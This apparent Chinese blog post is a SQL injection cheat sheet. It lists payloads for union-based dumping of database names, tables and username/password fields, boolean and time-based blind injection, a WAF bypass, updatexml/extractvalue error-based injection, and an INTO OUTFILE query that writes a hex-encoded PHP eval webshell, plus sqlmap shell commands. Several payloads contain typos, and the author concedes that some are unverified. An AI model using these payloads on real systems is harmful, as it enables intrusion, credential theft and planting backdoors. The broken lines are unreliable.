对上一篇文章的进一步说明,补充了报错注入和sql注入getshell
常用语句:
/?id=1'and1'='2 或 /?id=1 and 1=2 //判断是字符型注入还是数字型注入
//下面以字符型为例
/?id=1'union select 1,2,3#//爆回显位
/?id=1'union select 1,2,database()#//爆数据库名
/?id=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#//爆表名
/?id=1'union select 1,2,groupconcat(column_name) from information_schema.colunms where table_name='表格名'#//爆字段名
/?id=1'union select 1,2,groupconcat(username,password) from '字段名'#//爆字段内容
ps:爆回显的行数也可以用order by 3#
原理是注入语句正确就会正确显示页面,错误则会报错,那么一般就通过对数据库名,表名,字段名的ASCII的大小来判断,一般用二分法不超过7~8次就能判断出来
相关函数
length() 判断字符长度
substr(a,b,c) 从b位置开始,截取字符串a的c长度
ascii() 将某个字符转换为ascii值
left(a,b) 从左侧截取a的前b位
char() 将ASCII码转换为对应的字符
常用语句:
/?id=1' and length((select database()))=8--+//判断数据库名字长度
?id=1' and ascii(substr((select database()),b,c))>96--+//就一次次试就行,说实话有点浪费时间不如扔给sqlmap或者写脚本(这里的,b,c 意思是从b位置开始,截取字符串database()的c长度)
/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))<10--+//判断长度
/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>96--+//同理
/?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>96--+//同理
/?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
布尔盲注太复杂了写不动了,后面语句不一定对,主要是再写我的精神状态就不好了。我的建议是试完弱指令不行的话就直接丢给sqlmap或者写一个python脚本,不要浪费时间在这上面。。。
原理是语句正确就迟几秒再返回页面,语句错误就直接返回。
sleep() 这个是关键函数
?id=1' and sleep(5) --+
?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+
payload和布尔盲注差不多,这里不再赘述。
另外我还从别的文章抄了一个这个,可以绕WAF
and(select*from(select+sleep(4))a/**/union/**/select+1)='
';show databases;
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法的话可以上网搜搜,这里你只需要知道如果不满足新path格式的字符串那么都会产生报错。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
漏洞形成原理讲解
由于updatexml的第二个参数需要 Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
如下
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
extracvalue和updatexml有一点点区别,但不多,updatexml是修改,而extractvalue是查询。但是用法和updatexml是一样的。
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
此方法利用的先决条件
- web目录具有写权限,能够使用单引号
- 知道网站绝对路径(根目录,或则是根目录往下的目录都行)
- secure_file_priv没有具体值(在mysql/my.ini中查看)
当我们能获得网站目录结构时,便可以通过sql注入写入一句马
但是注意写入时要base64编码
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile '' --+
然后就可以连接了(理论上)因为我没有实操过
–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件
此为sqlmap的一个命令
利用这条命令的先决条件:
要求为数据库DBA,使用–is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dba
secure_file_priv没有具体值
知道网站的绝对路径
那么如何确认secure_file_priv有没有具体值呢
–sql-shell
味大的sqlmap命令
sqlmap.py -u "xxx" --sql-shell
查看文件路径(mysql/data的路径,根目录一般与mysql处于同一目录)
select @@datadir;
查看secure_file_priv的值是否为空
select @@secure_file_priv
当为空的时候则什么都不返回